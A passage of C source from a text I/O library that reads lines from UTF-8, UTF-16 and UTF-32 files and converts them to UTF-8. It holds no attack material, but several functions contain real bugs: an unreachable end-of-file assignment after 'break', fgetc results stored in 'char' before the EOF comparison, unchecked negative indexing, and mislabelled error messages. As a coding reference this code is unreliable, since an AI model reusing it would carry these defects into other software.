TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n**  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n**/\n\n#include <rf_io.h>\n\n#include <rf_utils.h>\n#include <stdio.h>\n#include \"io_private.h\"\n#include <errno.h>\n#include <String/rfc_string.h> // for rfUTF8_IsContinuationbyte\n#include <stdlib.h>// for malloc\n#include <string.h>// for memcpy e.t.c.\n\n\n// Reads a UTF-8 file descriptor until end of line or EOF is found and returns a UTF-8 byte buffer\nint32_t rfFReadLine_UTF8(FILE* f,char** utf8,uint32_t* byteLength,uint32_t* bufferSize,char* eof)\n{\n    int32_t bytesN;\n    uint32_t bIndex=0;\n#ifdef RF_NEWLINE_CRLF\n    char newLineFound = false;\n#endif\n    // allocate the utf8 buffer\n    *bufferSize = RF_OPTION_FGETS_READBYTESN+4;\n    RF_MALLOC(*utf8,*bufferSize)\n    *byteLength = 0;\n    // read the start\n    bytesN = rfFgets_UTF8(*utf8,RF_OPTION_FGETS_READBYTESN,f,eof);\n    (*byteLength)+=bytesN;\n\n    if(bytesN < 0)//error check\n    {\n        LOG_ERROR(\"Failed to read a UTF-8 file\",bytesN);\n        free(*utf8);\n        return bytesN;\n    }\n    // if the last character was a newline we are done\n    if(*((*utf8)+bytesN-1) == (char)RF_LF)\n    {\n#ifdef RF_NEWLINE_CRLF\n        if(*((*utf8)+bytesN-2) == (char)RF_CR)\n        {\n            *((*utf8)+bytesN-2) = RF_LF;\n            *((*utf8)+bytesN-1) = '\\0';\n            (*byteLength)-=1;\n        }\n#endif\n        return bytesN;\n    }\n\n    if(bytesN >= RF_OPTION_FGETS_READBYTESN && (*eof)==false)// if the size does not fit in the buffer and if we did not reach the end of file\n    {\n        // keep reading until we have read all until newline or EOF\n        while(bytesN >= RF_OPTION_FGETS_READBYTESN && (*eof)==false)\n        {\n            if(*byteLength+RF_OPTION_FGETS_READBYTESN+4 >= *bufferSize)\n            {\n                *bufferSize=(*byteLength+RF_OPTION_FGETS_READBYTESN+4)*2;\n                RF_REALLOC(*utf8,char,*bufferSize);\n            }\n            bIndex += bytesN;\n            bytesN = rfFgets_UTF8((*utf8)+bIndex,RF_OPTION_FGETS_READBYTESN,f,eof);\n            (*byteLength)+=bytesN;\n            if(bytesN < 0)// error check\n            {\n                LOG_ERROR(\"StringX Initialization from file failed in file reading\",bytesN);\n                free(*utf8);\n                return bytesN;\n            }\n            // if the last character was a newline break\n            if(*((*utf8)+bIndex+bytesN-1) == (char)RF_LF)\n            {\n#ifdef RF_NEWLINE_CRLF\n                newLineFound = true;\n#endif\n                break;\n            }\n        }// end of reading loop\n#ifdef RF_NEWLINE_CRLF\n        if(newLineFound==true)\n            if(*((*utf8)+bIndex+bytesN-2) == (char)RF_CR)\n            {\n                *((*utf8)+bIndex+bytesN-2) = RF_LF;\n                *((*utf8)+bIndex+bytesN-1) = '\\0';\n                (*byteLength)-=1;\n            }\n\n#endif\n        return bIndex;\n    }// end of size not fitting the initial buffer case\n    else\n    {\n#ifdef RF_NEWLINE_CRLF\n        // if the last character was a newline\n        if(*((*utf8)+bytesN-1) == (char)RF_LF)\n        {\n            if(*((*utf8)+bytesN-2) == (char)RF_CR)\n            {\n                *((*utf8)+bytesN-2) = RF_LF;\n                *((*utf8)+bytesN-1) = '\\0';\n                (*byteLength)-=1;\n            }\n        }\n#endif\n        // case of size fully fitting the buffer\n        return bytesN;\n    }\n}\n// Reads a Little Endian UTF-16 file descriptor until end of line or EOF is found and returns a UTF-8 byte buffer\nint32_t rfFReadLine_UTF16LE(FILE* f,char** utf8,uint32_t* byteLength,char* eof)\n{\n    char buff[RF_OPTION_FGETS_READBYTESN+5];\n    int32_t bytesN;\n    uint32_t *codepoints,charsN,bIndex=0,buffSize=RF_OPTION_FGETS_READBYTESN+5,accum;\n    char* tempBuff = 0,buffAllocated=false;\n\n    bytesN = rfFgets_UTF16LE(buff,RF_OPTION_FGETS_READBYTESN,f,eof);\n    accum = (uint32_t)bytesN;\n    tempBuff = &buff[0];// point the tempBuff to the initial buffer for now\n    if(bytesN < 0)// error check\n    {\n        LOG_ERROR(\"Failed to read from a Little Endian UTF-16 file\",bytesN);\n        return bytesN;\n    }\n    else if(bytesN >= RF_OPTION_FGETS_READBYTESN && (*eof)==false)// if the size does not fit in the buffer and if we did not reach the EOF\n    {\n        // allocate the temporary buffer and move the previous buffer's content inside it\n        buffSize=buffSize*2+5;\n        RF_MALLOC(tempBuff,buffSize);\n        memcpy(tempBuff,buff,bytesN);\n        bIndex=bytesN;\n        buffAllocated = true;\n        // keep reading until we have read all until newline or EOF\n        do\n        {\n            bytesN = rfFgets_UTF16LE(tempBuff+bIndex,RF_OPTION_FGETS_READBYTESN,f,eof);\n            accum += bytesN;\n            if(bytesN < 0)// error check\n            {\n                LOG_ERROR(\"Failed to read from a Little Endian UTF-16 file\",bytesN);\n                free(tempBuff);\n                return bytesN;\n            }\n            // realloc to have more space in the buffer for reading if needed\n            if(accum+RF_OPTION_FGETS_READBYTESN+5 >= buffSize)\n            {\n                buffSize=(accum+RF_OPTION_FGETS_READBYTESN+5)*2;\n                RF_REALLOC(tempBuff,char,buffSize);\n            }\n            bIndex += bytesN;\n            // if the last character was newline break off the loop\n            if( *(uint16_t*)(tempBuff+bIndex-2)== (uint16_t)RF_LF)\n                break;\n        }while(bytesN >= RF_OPTION_FGETS_READBYTESN && (*eof)==false);//end of reading loop\n    }// end of size not fitting the initial buffer case\n    if(bytesN >0)//determine the amount of bytes read\n        bIndex+=bytesN;\n    // allocate the codepoints\n    RF_MALLOC(codepoints,(bIndex+5)*2)\n    // decode it into codepoints\n    if(rfUTF16_Decode(tempBuff,&charsN,codepoints)==false)\n    {\n        free(codepoints);\n        if(buffAllocated==true)\n            free(tempBuff);\n        LOG_ERROR(\"Failed to Decode UTF-16 from a File Descriptor\",RE_UTF16_INVALID_SEQUENCE);\n        return RE_UTF16_INVALID_SEQUENCE;\n    }\n    // now encode these codepoints into UTF8\n    if(((*utf8)=rfUTF8_Encode(codepoints,charsN,byteLength)) == 0)\n    {\n        free(codepoints);\n        if(buffAllocated==true)\n            free(tempBuff);\n        LOG_ERROR(\"Failed to encode the File Descriptor's UTF-16 bytestream to UTF-8\",RE_UTF8_ENCODING);\n        return RE_UTF8_ENCODING;// error\n    }\n    // success\n    free(codepoints);\n    if(buffAllocated==true)\n        free(tempBuff);\n#ifdef RF_NEWLINE_CRLF\n    // if the last character was a newline\n    if(*((*utf8)+(*byteLength)-1) == (char)RF_LF)\n    {\n        if(*((*utf8)+(*byteLength)-2) == (char)RF_CR)\n        {\n            *((*utf8)+(*byteLength)-2) = RF_LF;\n            *((*utf8)+(*byteLength)-1) = '\\0';\n            (*byteLength)-=1;\n        }\n    }\n#endif\n\n\n    return bIndex;\n}\n// Reads a Big Endian UTF-16 file descriptor until end of line or EOF is found and returns a UTF-8 byte buffer\nint32_t rfFReadLine_UTF16BE(FILE* f,char** utf8,uint32_t* byteLength,char* eof)\n{\n    char buff[RF_OPTION_FGETS_READBYTESN+5];\n    int32_t bytesN;\n    uint32_t *codepoints,charsN,bIndex=0,buffSize=RF_OPTION_FGETS_READBYTESN+5,accum;\n    char* tempBuff = 0,buffAllocated=false;\n\n    bytesN = rfFgets_UTF16BE(buff,RF_OPTION_FGETS_READBYTESN,f,eof);\n    accum = (uint32_t)bytesN;\n    tempBuff = &buff[0];// point the tempBuff to the initial buffer for now\n    if(bytesN < 0)// error check\n    {\n        LOG_ERROR(\"Failed to read from a Big Endian UTF-16 file\",bytesN);\n        return bytesN;\n    }\n    else if(bytesN >= RF_OPTION_FGETS_READBYTESN && (*eof)==false)// if the size does not fit in the buffer and if we did not reach the EOF\n    {\n        // allocate the temporary buffer and move the previous buffer's content inside it\n        buffSize=buffSize*2+5;\n        RF_MALLOC(tempBuff,buffSize);\n        memcpy(tempBuff,buff,bytesN);\n        bIndex=bytesN;\n        buffAllocated = true;\n        // keep reading until we have read all until newline or EOF\n        do\n        {\n            bytesN = rfFgets_UTF16BE(tempBuff+bIndex,RF_OPTION_FGETS_READBYTESN,f,eof);\n            accum+=bytesN;\n            if(bytesN < 0)// error check\n            {\n                LOG_ERROR(\"Failed to read from a Big Endian UTF-16 file\",bytesN);\n                free(tempBuff);\n                return bytesN;\n            }\n            // realloc to have more space in the buffer for reading if needed\n            if(accum+RF_OPTION_FGETS_READBYTESN+5 >= buffSize)\n            {\n                buffSize=(accum+RF_OPTION_FGETS_READBYTESN+5)*2;\n                RF_REALLOC(tempBuff,char,buffSize);\n            }\n            bIndex += bytesN;\n            // if the last character was newline break off the loop\n            if( (*(uint16_t*)(tempBuff+bIndex-2))== (uint16_t)RF_LF)\n                break;\n        }while(bytesN >= RF_OPTION_FGETS_READBYTESN && (*eof)==false);// end of reading loop\n    }// end of size not fitting the initial buffer case\n    if(bytesN >0)// determine the amount of bytes read\n        bIndex+=bytesN;\n    // allocate the codepoints\n    RF_MALLOC(codepoints,(bIndex+5)*2)\n    // decode it into codepoints\n    if(rfUTF16_Decode(tempBuff,&charsN,codepoints)==false)\n    {\n        free(codepoints);\n        if(buffAllocated==true)\n            free(tempBuff);\n        LOG_ERROR(\"Failed to Decode UTF-16 from a File Descriptor\",RE_UTF16_INVALID_SEQUENCE);\n        return RE_UTF16_INVALID_SEQUENCE;\n    }\n    // now encode these codepoints into UTF8\n    if(((*utf8)=rfUTF8_Encode(codepoints,charsN,byteLength)) == 0)\n    {\n        free(codepoints);\n        if(buffAllocated==true)\n            free(tempBuff);\n        LOG_ERROR(\"Failed to encode the File Descriptor's UTF-16 bytestream to UTF-8\",RE_UTF8_ENCODING);\n        return RE_UTF8_ENCODING;//error\n    }\n    // success\n    free(codepoints);\n    if(buffAllocated==true)\n        free(tempBuff);\n#ifdef RF_NEWLINE_CRLF\n    // if the last character was a newline\n    if(*((*utf8)+(*byteLength)-1) == (char)RF_LF)\n    {\n        if(*((*utf8)+(*byteLength)-2) == (char)RF_CR)\n        {\n            *((*utf8)+(*byteLength)-2) = RF_LF;\n            *((*utf8)+(*byteLength)-1) = '\\0';\n            (*byteLength)-=1;\n        }\n    }\n#endif\n    return bIndex;\n}\n// Reads a Big Endian UTF-32 file descriptor until end of line or EOF is found and returns a UTF-8 byte buffer\nint32_t rfFReadLine_UTF32BE(FILE* f,char** utf8,uint32_t* byteLength,char* eof)\n{\n    char buff[RF_OPTION_FGETS_READBYTESN+7];\n    int32_t bytesN;\n    uint32_t *codepoints,bIndex=0,buffSize=RF_OPTION_FGETS_READBYTESN+7,accum;\n    char* tempBuff = 0,buffAllocated=false;\n    bytesN = rfFgets_UTF32BE(buff,RF_OPTION_FGETS_READBYTESN,f,eof);\n    accum = (uint32_t)bytesN;\n    tempBuff = &buff[0];// point the tempBuff to the initial buffer for now\n    if(bytesN < 0)// error check\n    {\n        LOG_ERROR(\"Failed to read from a Big Endian UTF-32 file\",bytesN);\n        return bytesN;\n    }\n    else if(bytesN >= RF_OPTION_FGETS_READBYTESN && (*eof)==false)// if the size does not fit in the buffer and if we did not reach the EOF\n    {\n        // allocate the temporary buffer and move the previous buffer's content inside it\n        buffSize=buffSize*2+7;\n        RF_MALLOC(tempBuff,buffSize);\n        memcpy(tempBuff,buff,bytesN);\n        bIndex=bytesN;\n        buffAllocated = true;\n        // keep reading until we have read all until newline or EOF\n        do\n        {\n            bytesN = rfFgets_UTF32BE(tempBuff+bIndex,RF_OPTION_FGETS_READBYTESN,f,eof);\n            accum+=bytesN;\n            if(bytesN < 0)// error check\n            {\n                LOG_ERROR(\"Failed to read from a Big Endian UTF-16 file\",bytesN);\n                free(tempBuff);\n                return bytesN;\n            }\n            // realloc to have more space in the buffer for reading if needed\n            if(accum+RF_OPTION_FGETS_READBYTESN+7 >= buffSize)\n            {\n                buffSize=(accum+RF_OPTION_FGETS_READBYTESN+7)*2;\n                RF_REALLOC(tempBuff,char,buffSize);\n            }\n            bIndex += bytesN;\n            // if the last character was newline break off the loop\n            if( (*(uint32_t*)(tempBuff+bIndex-4))== (uint32_t)RF_LF)\n                break;\n        }while(bytesN >= RF_OPTION_FGETS_READBYTESN && (*eof)==false);// end of reading loop\n    }// end of size not fitting the initial buffer case\n    if(bytesN >0)//determine the amount of bytes read\n        bIndex+=bytesN;\n    // utf-32 is actually codepoints\n    codepoints = (uint32_t*)tempBuff;\n    // now encode these codepoints into UTF8\n    if(((*utf8)=rfUTF8_Encode(codepoints,bIndex/4,byteLength)) == 0)\n    {\n        if(buffAllocated==true)\n            free(tempBuff);\n        LOG_ERROR(\"Failed to encode the File Descriptor's UTF-32 bytestream to UTF-8\",RE_UTF8_ENCODING);\n        return RE_UTF8_ENCODING;// error\n    }\n    // success\n    if(buffAllocated==true)\n        free(tempBuff);\n#ifdef RF_NEWLINE_CRLF\n    // if the last character was a newline\n    if(*((*utf8)+(*byteLength)-1) == (char)RF_LF)\n    {\n        if(*((*utf8)+(*byteLength)-2) == (char)RF_CR)\n        {\n            *((*utf8)+(*byteLength)-2) = RF_LF;\n            *((*utf8)+(*byteLength)-1) = '\\0';\n            (*byteLength)-=1;\n        }\n    }\n#endif\n    return bIndex;\n}\n// Reads a Little Endian UTF-32 file descriptor until end of line or EOF is found and returns a UTF-8 byte buffer\nint32_t rfFReadLine_UTF32LE(FILE* f,char** utf8,uint32_t* byteLength,char* eof)\n{\n    char buff[RF_OPTION_FGETS_READBYTESN+7];\n    int32_t bytesN;\n    uint32_t *codepoints,bIndex=0,buffSize=RF_OPTION_FGETS_READBYTESN+7,accum;\n    char* tempBuff = 0,buffAllocated=false;\n    bytesN = rfFgets_UTF32LE(buff,RF_OPTION_FGETS_READBYTESN,f,eof);\n    accum = (uint32_t) bytesN;\n    tempBuff = &buff[0];// point the tempBuff to the initial buffer for now\n    if(bytesN < 0)// error check\n    {\n        LOG_ERROR(\"Failed to read from a Little Endian UTF-32 file\",bytesN);\n        return bytesN;\n    }\n    else if(bytesN >= RF_OPTION_FGETS_READBYTESN && (*eof)==false)// if the size does not fit in the buffer and if we did not reach the EOF\n    {\n        // allocate the temporary buffer and move the previous buffer's content inside it\n        buffSize=buffSize*2+7;\n        RF_MALLOC(tempBuff,buffSize);\n        memcpy(tempBuff,buff,bytesN);\n        bIndex=bytesN;\n        buffAllocated = true;\n        // keep reading until we have read all until newline or EOF\n        do\n        {\n            bytesN = rfFgets_UTF32LE(tempBuff+bIndex,RF_OPTION_FGETS_READBYTESN,f,eof);\n            accum +=bytesN;\n            if(bytesN < 0)// error check\n            {\n                LOG_ERROR(\"Failed to read from a Little Endian UTF-16 file\",bytesN);\n                free(tempBuff);\n                return bytesN;\n            }\n            // realloc to have more space in the buffer for reading if needed\n            if(accum+RF_OPTION_FGETS_READBYTESN+7 >= buffSize)\n            {\n                buffSize=(accum+RF_OPTION_FGETS_READBYTESN+7)*2;\n                RF_REALLOC(tempBuff,char,buffSize);\n            }\n            bIndex += bytesN;\n            // if the last character was newline break off the loop\n            if( (*(uint32_t*)(tempBuff+bIndex-4))== (uint32_t)RF_LF)\n                break;\n        }while(bytesN >= RF_OPTION_FGETS_READBYTESN && (*eof)==false);// end of reading loop\n    }// end of size not fitting the initial buffer case\n    if(bytesN >0)// determine the amount of bytes read\n        bIndex+=bytesN;\n    // utf-32 is actually codepoints\n    codepoints = (uint32_t*)tempBuff;\n    // now encode these codepoints into UTF8\n    if(((*utf8)=rfUTF8_Encode(codepoints,bIndex/4,byteLength)) == 0)\n    {\n        if(buffAllocated==true)\n            free(tempBuff);\n        LOG_ERROR(\"Failed to encode the File Descriptor's UTF-32 bytestream to UTF-8\",RE_UTF8_ENCODING);\n        return RE_UTF8_ENCODING;// error\n    }\n    // success\n    if(buffAllocated==true)\n        free(tempBuff);\n#ifdef RF_NEWLINE_CRLF\n    // if the last character was a newline\n    if(*((*utf8)+(*byteLength)-1) == (char)RF_LF)\n    {\n        if(*((*utf8)+(*byteLength)-2) == (char)RF_CR)\n        {\n            *((*utf8)+(*byteLength)-2) = RF_LF;\n            *((*utf8)+(*byteLength)-1) = '\\0';\n            (*byteLength)-=1;\n        }\n    }\n#endif\n    return bIndex;\n}\n\n// This is a function that's similar to c library fgets but it also returns the number of bytes read and works for UTF-32 encoded files\nint32_t rfFgets_UTF32BE(char* buff,uint32_t num,FILE* f,char* eofReached)\n{\n    uint32_t size,c;\n    int32_t error;\n    // initialization\n    *eofReached = false;\n    size = 0;\n    // if end of file or end of line is not found, keep reading\n    do{\n        if((error=rfFgetc_UTF32BE(f,(uint32_t*)(buff+size))) != RF_SUCCESS)\n        {\n            if(error == RE_FILE_EOF)\n            {\n                break;// EOF found\n                *eofReached = true;\n            }\n            LOG_ERROR(\"Reading error while reading from a Big Endian UTF-32 file\",error);\n            return error;\n        }\n        size+= 4;\n        // if we have read the number of characters requested by the function\n        if(size >= num)\n        {\n            break;\n        }\n        // get the last character read\n        c = *(uint32_t*)(buff+size-4);\n    }while(c != (uint32_t)EOF && !RF_HEXEQ_UI(c,RF_LF));\n    // null terminate the buffer for UTF32\n    buff[size] =  buff[size+1] = buff[size+2] = buff[size+3] = '\\0';\n    // finally check yet again for end of file right after the new line\n    if((error=rfFgetc_UTF32BE(f,&c))!=RF_SUCCESS)\n    {\n        if(error == RE_FILE_EOF)\n        {// EOF\n            *eofReached = true;\n        }\n        else\n        {\n            LOG_ERROR(\"Reading error while reading from a Big Endian UTF-32 file\",error);\n            return error;\n        }\n    }\n    else// undo the peek ahead of the file pointer\n        fseek(f,-4,SEEK_CUR);\n    return size;\n}\n// This is a function that's similar to c library fgets but it also returns the number of bytes read and works for UTF-32 encoded files\nint32_t rfFgets_UTF32LE(char* buff,uint32_t num,FILE* f,char* eofReached)\n{\n    uint32_t size,c;\n    int32_t error;\n    // initialization\n    *eofReached = false;\n    size = 0;\n    // if end of file or end of line is not found, keep reading\n    do{\n        if((error=rfFgetc_UTF32LE(f,(uint32_t*)(buff+size))) != RF_SUCCESS)\n        {\n            if(error == RE_FILE_EOF)\n            {\n                break;// EOF found\n                *eofReached = true;\n            }\n            LOG_ERROR(\"Reading error while reading from a Little Endian UTF-32 file\",error);\n            return error;\n        }\n        size+= 4;\n        // if we have read the number of characters requested by the function\n        if(size >= num)\n        {\n            break;\n        }\n        // get the last character read\n        c = *(uint32_t*)(buff+size-4);\n    }while(c !=(uint32_t) EOF && !RF_HEXEQ_UI(c,RF_LF));\n    // null terminate the buffer for UTF32\n    buff[size] =  buff[size+1] = buff[size+2] = buff[size+3] = '\\0';\n    // finally check yet again for end of file right after the new line\n    if((error=rfFgetc_UTF32LE(f,&c))!=RF_SUCCESS)\n    {\n        if(error == RE_FILE_EOF)\n        {// EOF\n            *eofReached = true;\n        }\n        else\n        {\n            LOG_ERROR(\"Reading error while reading from a Little Endian UTF-32 file\",error);\n            return error;\n        }\n    }\n    else// undo the peek ahead of the file pointer\n        fseek(f,-4,SEEK_CUR);\n    return size;\n}\n// Gets a number of bytes from a BIG endian UTF-16 file descriptor\nint32_t rfFgets_UTF16BE(char* buff,uint32_t num,FILE* f,char* eofReached)\n{\n    uint32_t size,c;\n    int32_t bytesN;\n    // initialization\n    *eofReached = false;\n    size = 0;\n    // if end of file or end of line is not found, keep reading\n    do{\n        bytesN = rfFgetc_UTF16BE(f,(uint32_t*)(buff+size),false);\n        // error check\n        if(bytesN < 0)\n        {\n            if(bytesN == RE_FILE_EOF)\n            {\n                break;// EOF found\n                *eofReached = true;\n            }\n            else\n                return bytesN;\n        }\n        size+= bytesN;\n        // if we have read the number of characters requested by the function\n        if(size >= num)\n        {\n            break;\n        }\n        // get the last character read\n        c = *(uint32_t*)(buff+size-bytesN);\n    }while(c !=(uint32_t) EOF && !RF_HEXEQ_UI(c,RF_LF));\n    // null terminate the buffer for UTF16\n    buff[size] =  buff[size+1] = '\\0';\n    // finally check yet again for end of file right after the new line\n    bytesN = rfFgetc_UTF16BE(f,&c,false);\n    if(bytesN < 0)\n    {\n        if(bytesN == RE_FILE_EOF)\n        {// EOF\n            *eofReached = true;\n        }\n        else// error\n            return bytesN;\n    }\n    else// undo the peek ahead of the file pointer\n        fseek(f,-bytesN,SEEK_CUR);\n    return size;\n}\n// Gets a number of bytes from a Little endian UTF-16 file descriptor\nint32_t rfFgets_UTF16LE(char* buff,uint32_t num,FILE* f,char* eofReached)\n{\n    uint32_t size,c;\n    int32_t bytesN;\n    // initialization\n    *eofReached = false;\n    size = 0;\n    // if end of file or end of line is not found, keep reading\n    do{\n        bytesN = rfFgetc_UTF16LE(f,(uint32_t*)(buff+size),false);\n        // error check\n        if(bytesN < 0)\n        {\n            if(bytesN == RE_FILE_EOF)\n            {\n                break;// EOF found\n                *eofReached = true;\n            }\n            else\n                return bytesN;\n        }\n        size+= bytesN;\n        // if we have read the number of characters requested by the function\n        if(size >= num)\n        {\n            break;\n        }\n        // get the last character read\n        c = *(uint32_t*)(buff+size-bytesN);\n    }while(c !=(uint32_t) EOF && !RF_HEXEQ_UI(c,RF_LF));\n    // null terminate the buffer for UTF16\n    buff[size] =  buff[size+1] = '\\0';\n    // finally check yet again for end of file right after the new line\n    bytesN = rfFgetc_UTF16LE(f,&c,false);\n    if(bytesN < 0)\n    {\n        if(bytesN == RE_FILE_EOF)\n        {// EOF\n            *eofReached = true;\n        }\n        else// error\n            return bytesN;\n    }\n    else// undo the peek ahead of the file pointer\n        fseek(f,-bytesN,SEEK_CUR);\n\n    return size;\n}\n\n// Gets a number of bytes from a UTF-8 file descriptor\nint32_t rfFgets_UTF8(char* buff,uint32_t num,FILE* f,char* eofReached)\n{\n    uint32_t size,c;\n    int32_t bytesN;\n    // initialization\n    *eofReached = false;\n    size = 0;\n    // if end of file or end of line is not found, keep reading\n    do{\n        bytesN = rfFgetc_UTF8(f,(uint32_t*)(buff+size),false);\n        // error check\n        if(bytesN < 0)\n        {\n            if(bytesN == RE_FILE_EOF)\n            {\n                break;// EOF found\n                *eofReached = true;\n            }\n            else\n                return bytesN;\n        }\n        size+= bytesN;\n        // if we have read the number of characters requested by the function\n        if(size >= num)\n        {\n            break;\n        }\n        // get the last character\n        c = *(uint32_t*)(buff+size-bytesN);\n    }while(c !=(uint32_t) EOF && !RF_HEXEQ_UI(c,RF_LF));\n    // null terminate the buffer for UTF8\n    buff[size] = '\\0';\n    // finally check yet again for end of file right after the new line\n    if( RF_HEXEQ_C(fgetc(f),EOF))\n    {// check for error\n        if(ferror(f) != 0)\n        {\n            LOG_ERROR(\"During reading a UTF-8 file there was a read error\",RE_FILE_READ);\n            return RE_FILE_READ;\n        }\n        // if not it's end of file, so note it and take the pointer back by 1\n        *eofReached = true;\n    }// undo the peek ahead of the file pointer\n    else\n        fseek(f,-1,SEEK_CUR);\n    return size;\n}\n// Gets a unicode character from a UTF-8 file descriptor\nint32_t rfFgetc_UTF8(FILE* f,uint32_t *ret,char cp)\n{\n    char c,c2,c3,c4;\n    if( (c = fgetc(f)) == EOF)\n    {\n        i_READ_CHECK(f,\"While reading a UTF-8 character from the stream\")\n        else\n            return RE_FILE_EOF;\n    }\n     // if the lead bit of the byte is 0 then range is : U+0000 to U+0007F (1 byte)\n     if( ((c & 0x80)>>7) == 0 )\n     {\n        /// success\n        if(cp == true)\n            *ret = c;\n        else\n        {\n            *ret = 0;\n            char* cc = (char*) ret;\n            cc[0] = c;\n        }\n        return 1;\n     }\n     else// we need more bytes\n     {\n        // if the leading bits are in the form of 0b110xxxxx then range is: U+0080 to U+07FF (2 bytes)\n        if( RF_HEXEQ_C( ( (~(c ^  0xC0))>>5), 0x7) )\n        {\n            // also remember bytes 0xC0 and 0xC1 are invalid and could possibly be found in a starting byte of this type so check for them here\n            if( RF_HEXEQ_C(c,0xC0) || RF_HEXEQ_C(c,0xC1))\n            {\n                LOG_ERROR(\"While decoding a UTF-8 file byte stream, an invalid byte was encountered\",RE_UTF8_INVALID_SEQUENCE_INVALID_BYTE);\n                return RE_UTF8_INVALID_SEQUENCE_INVALID_BYTE;\n            }\n            // so now read the next byte\n            if( (c2 = fgetc(f)) == EOF)\n            {\n                i_READ_CHECK(f,\"While reading a UTF-8 character from a file stream\")\n                else\n                {\n                    LOG_ERROR(\"While decoding a UTF-8 file byte stream, EOF was encountered abruplty in-between bytes\",RE_UTF8_INVALID_SEQUENCE_END);\n                    return RE_FILE_EOF;\n                }\n            }\n            // if this second byte is NOT a continuation byte\n            if( !rfUTF8_IsContinuationByte(c2))\n            {\n                LOG_ERROR(\"While decoding a UTF-8 file byte stream, and expecting a continuation byte, one was not found\",RE_UTF8_INVALID_SEQUENCE_CONBYTE);\n                return RE_UTF8_INVALID_SEQUENCE_CONBYTE;\n            }\n            /// success\n            if(cp == true)// return decoded codepoint\n            {\n                *ret = 0;\n                // from the second byte take the first 6 bits\n                *ret = (c2 & 0x3F) ;\n                // from the first byte take the first 5 bits and put them in the start\n                *ret |= ((c & 0x1F) << 6);\n            }\n            else\n            {\n                *ret = 0;\n                char* cc = (char*)ret;\n                cc[0] = c; cc[1] = c2;\n            }\n            return 2;\n\n        }// end of the 2 bytes case\n        // if the leading bits are in the form of 0b1110xxxx then range is U+0800 to U+FFFF  (3 bytes)\n        else if( RF_HEXEQ_C( ( (~(c ^ 0xE0))>>4),0xF))\n        {\n            // so now read the next 2 bytes\n            if( (c2 = fgetc(f)) == EOF)\n            {\n                i_READ_CHECK(f,\"While reading a UTF-8 character from a file stream\")\n                else\n                {\n                    LOG_ERROR(\"While decoding a UTF-8 file byte stream, EOF was encountered abruplty in-between bytes\",RE_UTF8_INVALID_SEQUENCE_END);\n                    return RE_FILE_EOF;\n                }\n            }\n            if( (c3 = fgetc(f)) == EOF)\n            {\n                i_READ_CHECK(f,\"While reading a UTF-8 character from a file stream\")\n                else\n                {\n                    LOG_ERROR(\"While decoding a UTF-8 file byte stream, EOF was encountered abruplty in-between bytes\",RE_UTF8_INVALID_SEQUENCE_END);\n                    return RE_FILE_EOF;\n                }\n            }\n            // if the subsequent bytes are NOT  continuation bytes\n            if( !rfUTF8_IsContinuationByte(c2) || !rfUTF8_IsContinuationByte(c3))\n            {\n                LOG_ERROR(\"While decoding a UTF-8 file byte stream, and expecting a continuation byte, one was not found\",RE_UTF8_INVALID_SEQUENCE_CONBYTE);\n                return RE_UTF8_INVALID_SEQUENCE_CONBYTE;\n            }\n            /// success\n            if(cp == true)// if we need to decode the codepoint\n            {\n                *ret = 0;\n                // from the third byte take the first 6 bits\n                *ret = (c3 & 0x3F) ;\n                // from the second byte take the first 6 bits and put them to the left of the previous 6 bits\n                *ret |= ((c2 & 0x3F) << 6);\n                // from the first byte take the first 4 bits and put them to the left of the previous 6 bits\n                *ret |= ((c & 0xF) << 12);\n            }\n            else\n            {\n                *ret = 0;\n                char* cc = (char*)ret;\n                cc[0] = c; cc[1] = c2; cc[2] = c3;\n            }\n            return 3;\n        }// end of 3 bytes case\n        // if the leading bits are in the form of 0b11110xxx then range is U+010000 to U+10FFFF (4 bytes)\n        else if(RF_HEXEQ_C( ( (~(c ^ 0xF0))>>3), 0x1F))\n        {\n            // in this type of starting byte a number of invalid bytes can be encountered. We have to check for them.\n            if(RF_HEXGE_C(c,0xBF)) //invalid byte value are from 0xBF to 0xFF\n            {\n                LOG_ERROR(\"While decoding a UTF-8 file byte stream, an invalid byte was encountered\",RE_UTF8_INVALID_SEQUENCE_INVALID_BYTE);\n                return RE_UTF8_INVALID_SEQUENCE_INVALID_BYTE;\n            }\n            // so now read the next 3 bytes\n            if( (c2 = fgetc(f)) == EOF)\n            {\n                i_READ_CHECK(f,\"While reading a UTF-8 character from a file stream\")\n                else\n                {\n                    LOG_ERROR(\"While decoding a UTF-8 file byte stream, EOF was encountered abruplty in-between bytes\",RE_UTF8_INVALID_SEQUENCE_END);\n                    return RE_FILE_EOF;\n                }\n            }\n            if( (c3 = fgetc(f)) == EOF)\n            {\n                i_READ_CHECK(f,\"While reading a UTF-8 character from a file stream\")\n                else\n                {\n                    LOG_ERROR(\"While decoding a UTF-8 file byte stream, EOF was encountered abruplty in-between bytes\",RE_UTF8_INVALID_SEQUENCE_END);\n                    return RE_FILE_EOF;\n                }\n            }\n            if( (c4 = fgetc(f)) == EOF)\n            {\n                i_READ_CHECK(f,\"While reading a UTF-8 character from a file stream\")\n                else\n                {\n                    LOG_ERROR(\"While decoding a UTF-8 file byte stream, EOF was encountered abruplty in-between bytes\",RE_UTF8_INVALID_SEQUENCE_END);\n                    return RE_FILE_EOF;\n                }\n            }\n            // if the subsequent bytes are NOT  continuation bytes\n            if( !rfUTF8_IsContinuationByte(c2) || !rfUTF8_IsContinuationByte(c3) || !rfUTF8_IsContinuationByte(c4))\n            {\n                LOG_ERROR(\"While decoding a UTF-8 file byte stream, and expecting a continuation byte, one was not found\",RE_UTF8_INVALID_SEQUENCE_CONBYTE);\n                return RE_UTF8_INVALID_SEQUENCE_CONBYTE;\n            }\n            /// success\n            if(cp == true) //if we need to decode the codepoint\n            {\n                *ret = 0;\n                // from the fourth byte take the first 6 bits\n                *ret = (c4 & 0x3F) ;\n                // from the third byte take the first 6 bits and put them to the left of the previous 6 bits\n                *ret |= ((c3 & 0x3F) << 6);\n                // from the second byte take the first 6 bits and put them to the left of the previous 6 bits\n                *ret |= ((c2 & 0x3F) << 12);\n                // from the first byte take the first 3 bits and put them to the left of the previous 6 bits\n                *ret |= ((c & 0x7) << 18);\n            }\n            else\n            {\n                *ret = 0;\n                char* cc = (char*)ret;\n                cc[0] = c; cc[1] = c2; cc[2] = c3; cc[3]=c4;\n            }\n            return 4;\n        }// end of 4 bytes case\n     }// end of needing more than 1 byte\n\n    // if we get here means the 1st byte belonged to none of the 4 cases\n    LOG_ERROR(\"While decoding a 